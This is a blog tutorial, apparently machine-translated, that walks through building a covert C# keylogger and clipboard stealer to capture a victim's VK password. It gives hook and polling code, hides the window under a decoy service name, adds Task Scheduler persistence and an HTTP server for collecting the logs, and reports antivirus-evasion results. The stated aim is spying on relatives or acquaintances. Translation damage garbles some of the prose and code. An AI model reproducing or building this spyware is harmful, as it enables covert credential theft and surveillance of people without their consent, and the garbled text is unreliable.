Write a C# keylogger that does not burn with antiviruses

Write a C# keylogger that does not burn with antiviruses

We will not wise up and limit ourselves to the necessary minimum. Suppose we want to get the victim’s password from the VC and we can get physical access to the computer for a while. In doing so:

    • we don’t bother the victim with extra windows, icons in the Tuskbara, error messages and the like;
    • we only have access to the target computer once and for a very short time;
    • we can pick up logs from the same local network;
    • antivirus must be silent;
    • firewall does not take into account and assume that we will give it manual permission when we inject keylogger;
    • we won’t try to hide the process and just give it a discreet name.

Another victim can use a password manager, then we will get only Ctrl-C and Ctrl-V in the log. In this case, we will also monitor the clipboard contents.



We will write in C# in Visual Studio. Looking ahead, I can say that the result is that I have two versions of the program – one working through WinAPI hijacking, the other I call “crutch”. But this less beautiful version gives other results when checking with antiviruses, so I’ll tell you about it too.

Theory

When you click on a button, the operation sends notifications to those programs that want to know about it. Therefore the easiest way to intercept input from the keyboard is to receive messages about keystrokes. If we can’t do this (for example, the function SetWindowsHookEx is prohibited by antivirus or something else), we can pull raw input without it. There is such a function – GetAsyncKeyState, which takes the number of the key and lets you know if it is pressed or squeezed at the moment of the call. Actually, the algorithm of actions will be as follows: once in N ms we interrogate all buttons and find out their status, putting them in a special list. Then we process the list taking into account the state of the Caps Lock, Num Lock, Shift, Ctrl key and so on. The obtained data will be written to a file.

Write code

.
To start with, let’s open Visual Studio and create a new Windows Forms project (.NET Framework). Why Windows Forms? If we choose an ordinary console application, then each launch will create an ugly black window, but we agreed not to bother the user. Also, until we have created a form (and we will not create it), no icons in the tushbara will appear – an important part of hidden work. Now remove the automatically created Form1.cs file with all the giblets and open Program.cs.



.

Main

.
A program template is already waiting for us here, but it will not work just like that. The first thing to do is to remove the lines 10-12 and 16-18. Now change the method declaration from static void Main() to static void Main(String[] args). We need this so that we can define our arguments at restart.

Now let’s add using System.IO; for file handling, System.Runtime.InteropServices for WinAPI and System.Threading for stopping the flow. If you don’t want to write a crutch version, you’d better skip this section and skip straight to the next one.

Import GetAsyncKeyState from user32.dll:

[DllImport("user32.dll")].
public static extern int GetAsyncKeyState(Int32 i);

And we add the actual logging of clicks, collecting them in ten pieces, not to do too much disk operations:

while (true)
{
   Thread.Sleep(100);
   for (int i = 0; i < 255; i++)
   {
      int state = GetAsyncKeyState(i);
      if (state != 0)
      {
        buf += ((Keys)i).ToString(); 
        if (buf.Length > 10) 
        {
           File.AppendAllText("keylogger.log", buf); 
           buf = ""; 
        }
      }
   }
}

.

It would be inconvenient to encrypt such a log

.
It does not look very beautiful, and you can forget about readability in general. First, our code pulls input not only from the keyboard, but also from the mouse (all kinds of LButtons and RButtons). So let’s not write down a press unless it’s a character key. Let’s replace if in the loop with this:

// Improved character check of entered characters //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i) == Keys.MButton) continue;
if (((Keys)i).ToString().Length == 1)
{
     buf += ((Keys)i).ToString();
}
else
{
     buf += $"<{((Keys)i).ToString()}>";
}
if (buf.Length > 10)
{ File.AppendAllText("keylogger.log", buf);
     buf = "";
}

After this editing, the log is much cleaner (see picture).

.

Looks neater already

.
This is much better! Now you need to add the processing of Shift and Caps Lock buttons. Let’s add the following code at the beginning of the cycle:

// Even more advanced check //
bool shift = false;
short shiftState = (short)GetAsyncKeyState(16);
// Keys.ShiftKey does not work, so I substituted its numeric equivalent
if ((shiftState & 0x8000) == 0x8000)
{
    shift = true;
}
var caps = Console.CapsLock;
bool isBig = shift | caps;

Now we have a variable that shows if we need to leave a large letter. We check it and add the characters to the buffer.

.

.
The next problem is with messages like <Oemcomma>, <ShiftKey>, <Capital> and others. They make it much harder to read a log, so you’ll have to fix it. For example, <Oemcomma> is a normal human comma, and <Capital> is nothing more than Caps Lock. After slightly testing the logger on my computer, I collected enough material to get the log in order. For example, some characters can be replaced immediately.

// Check for space and Enter //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }

But things seem to be harder to overcome. The encryption, by the way, has two different options – right and left. We are removing all this, because we have already received the state of capital letters.

if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }

Having chased the logger for a while, we detect other buttons that need to be processed in a special way:

    • Num Lock;
    • function keys,
    • Print Screen;
    • Page Up and Page Down;
    • Scroll Lock;
    • shift + number key combination;

.

  • Tab;
  • Home and End;
  • Start;
  • Alt;
  • Arrow keys.

We add more checks and replacements, and the log becomes readable. In general, it’s not bad! The disadvantages: there is no support for the Russian layout, which, however, is not so important if our goal is to get passwords.

See what the antivirus has to say…

.

Antivirus response to forced scanning

.

.

Start reaction (later says all ok)

.
Download the sample to VirusTotal to check on the others. Result: only 8 out of 70 antiviruses suspect something.

.

Beautiful variant

.
Now let’s try to do more correctly and intercept messages about keystrokes on the keyboard. The first steps are the same: we create the Windows Forms project and invent an inconspicuous name (for example, WindowsPrintService). In the plug that Visual Studio has created for us, we change void Main() to void Main(String[] args). Now let’s do a simple check on the arguments:

if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (args != null && args.Length > 0)
{
     if (args[0] == "-i") {}
     // Here checks by analogy with the previous line
}
else
{
     // Launched without parameters
}

There is quite a lot of code next, I will not give it all. There are Caps Lock, Shift and other flags, and the clicks are determined by a giant Switch. But that’s not what I want to show you, but to set the hook on the keyboard.

.

Set a hook on the keyboard

.
First we put a link to our function in the callback variable, then we get the handle of our program, then we set a hook. Then we always process the messages we receive every 5ms (PeekMessageA). An important point is the declaration of a callback function, which must exactly match WinAPI, as well as the transfer of control to subordinate handlers (see below).

private static IntPtr CallbackFunction(Int32 code, IntPtr wParam, IntPtr lParam)

And here we pass the control further along the hook chain:

return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
Listing callback functions

.
In this screenshot you can see the code of our callback function with some abbreviations (the parsing of keystrokes was not appropriate). Note the above call CallNextHookEx, which is needed so that we are not the only ones to receive keystroke messages.

.

Switch, which parses Shift + number key

.
In this screenshot you can see the processing of number key presses with the encrypted keys, and the next screenshot shows the situation with Caps Lock and Shift.

.

Figcaption>

.

Clipper

Clipper is a program designed to steal data from the clipboard (name – from the word clipboard). It may be useful, for example, in case the victim uses a password manager and copies passwords from there.

Create a new Windows form, remove the <Form&gt Name;.Designer.cs and <Form&gt Name;.resx. Now let’s go to edit mode by pressing F7 and start writing code. Let’s add and import WinAPI (in the screenshot - in a separate class).

.

Class importing WinAPI methods

Insert the following code in the form constructor:

NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
NativeMethods.AddClipboardFormatListener(Handle);

The first call will make our window capable of perceiving system messages, and the second will assign a handler for incoming messages.

Now declare a variable of type String and call it lastWindow. We will now reassign the default message handler function (void WndProc(ref Message m)):

protected override void WndProc(ref Message m)
{
   if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
   {
        // Receive the handle of the active window
        IntPtr active_window = NativeMethods.GetForegroundWindow();
        // Get the title of this window
        int length = NativeMethods.GetWindowTextLength(active_window);
        StringBuilder sb = new StringBuilder(length + 1);
        NativeMethods.GetWindowText(active_window, sb, sb.Capacity);
        Trace.WriteLine(");
        // Save the clipboard contents to the log.
        Trace.WriteLine("\t[Cstrl-C] Clipboard Copied: " + Clipboard.GetText());
   }
   // Calling the old handler
   base.WndProc(ref m);
}

For the work of this code I have taken a ready class, which can be simply added to the project and do not bother with creating wrappers around WinAPI. You can take it at Pastebin.

It is not difficult to start the clipper: add a link to the System.Windows.Forms.dll build, add using for System.Windows.Forms and System.Threading and add the following lines to the logger start method:

Thread clipboardT = new Thread(new ThreadStart(
           {
              Application.Run(new ClipboardMonitorForm());
           }));
clipboardT.Start();

Simple? That’s right. Only add this call after assigning a handler for Trace, otherwise the whole output will go to unknown distances.

Gather logs

.
The next thing we need is to take the log remotely. Since we’re not going to do industrial espionage, but just want to see what someone from a relative or acquaintance is doing, we can start with access from a local network. For this purpose it will be enough to build a minimalistic HTTP server into our project. Here suitable source, but here the version I developed.

The use is also very primitive: just create an object for our server and it will automatically take the addresses localhost:34000 and <InternalIP>:34000 under HTTP and port 34001 on the same addresses. The server will return the list of files and folders as a list or the contents of a file if a file is requested.

The path to the folder where the logs are written (or any other folder you may need) should be passed to the constructor. By default, logs are written to the current folder, so the constructor should pass Environment.CurrentDirectory.

Autostart

.
There are a lot of ways to get into autoload: there is the folder “Autoload”, and a lot of places in the registry, and installation of your driver, and creation of the service… However, the registry and drivers are tracked by any decent antivirus, and creation of the service is too curve variant, which can break at any time, although in extreme cases is not bad.

We will simply create a task in the Task Scheduler and ask it to run our logger with the right parameters every time the user logs on. To work with the Task Scheduler, we take Microsoft.Win32.TaskScheduler package from NuGet. The code for working with it, I uploaded to Pastebin. Don’t forget to fix the path that the scheduler entry refers to.

The algorithm of the logger actions at startup I showed in the picture.

.

.

Action algorithm

.

Antivirus response

.
Checking a more beautiful variant on VirusTotal shows that it is detected by a larger number of antiviruses than before – 15 out of 70. However, almost all of our popular home antiviruses are left behind. In general, the main thing is not to run into “Avira” or NOD32.

.

.

Check window title

.
If our alleged victim went to login to the VK immediately after logging in, then consider yourself lucky. But what if instead she sat down to play CS:GO? The password would have to be pulled out of tons of W, A, S, D and spaces, and with the crutch version, it’s even more complicated. So let’s pump our logger: we only record keyboard signals when the browser window with the login form is active. To do this, let’s return to WinAPI, specifically the function GetForegroundWindow.

.

Import WinAPI

In the import we can see another function that we will need: GetWindowText. We need it to get the header of the window at the handle. The algorithm is also very clear here: first we get the header of the active window, then we check if the logger needs to be turned on and turn it on (or off). The implementation of this scheme:

    1. Create the function IsForegroundWindowsInteresting. Its code will be:

.

bool IsForegroundWindowInteresting(String s)
{
   IntPtr _hwnd = GetForegroundWindow();
   StringBuilder sb = new StringBuilder(256);
   GetWindowText(_hwnd, sb, sb.Capacity);
   if (sb.ToString().ToUpperInvariant().Contains(s.ToUpperInvariant()) return true;
   return false;
}
    1. In the beginning of our function CallbackFunction insert

.

if (IsForegroundWindowInteresting("Welcome! | VK") ||.
    IsForegroundWindowInteresting("Welcome to | VKontakte")).
{
   return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);
}

As you noticed, I am checking two options because I don’t know which language the victim uses. If we did not find an interesting window, we just go to the next handler and do not load the computer with extra disk operations.

Search-to-log

Now let’s assume that the log has grown to a threatening size anyway and we need to get the phone number, for example, out of it to know where to look for the password. Regular expressions are best for this, in C# they are provided by the Regex class.

For obvious reasons, we will analyze the logs on our machine, so we will make a separate program. To use the regulars, let’s add Text.RegularExpressions and make a method that takes the path to the log file and displays all found phone numbers to the console.

public void FindTelephoneNmbers(String path)
{
   String _file = System.IO.File.ReadAllText(path);
   String _regex = @"((\+38|8|\+3|\+ )[ ]??([(?]?\d{3}[)?[\- ]?)?(\d[ -]?){6,14}";
   Regex _regexobj = new Regex(_regex);
   MatchCollection matches = _regexobj.Matches(_file);
   if (matches.Count > 0)
   {
      foreach (Match match in matches)
      {
         Console.WriteLine($"Match found: \"{match.Value}\");
      }
   }
   else
   {
      Console.WriteLine("No matches found.");
   }
}

Password will follow the phone number.

Atotals

.
So, we made sure that creating a keylogger is not a problem. Moreover, our spy with all its limitations has an important advantage: antiviruses don’t know about its existence beforehand, and not all of them define it by its functions. Of course, there is a lot of work to be done further on. For example, you can add Internet access, teach a keylogger to work with different keyboard layouts, add screen shots and other features. My goal in this article was to show how easy it is to make such a program, and to inspire you for future feats. I hope I did it!



WARNING! All links in the articles may lead to malicious sites or contain viruses. Follow them at your own risk. Those who purposely visit the article know what they are doing. Do not click on everything thoughtlessly.


5 Views

0 0 vote
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments


Do NOT follow this link or you will be banned from the site!
0
Would love your thoughts, please comment.x
()
x

Spelling error report

The following text will be sent to our editors: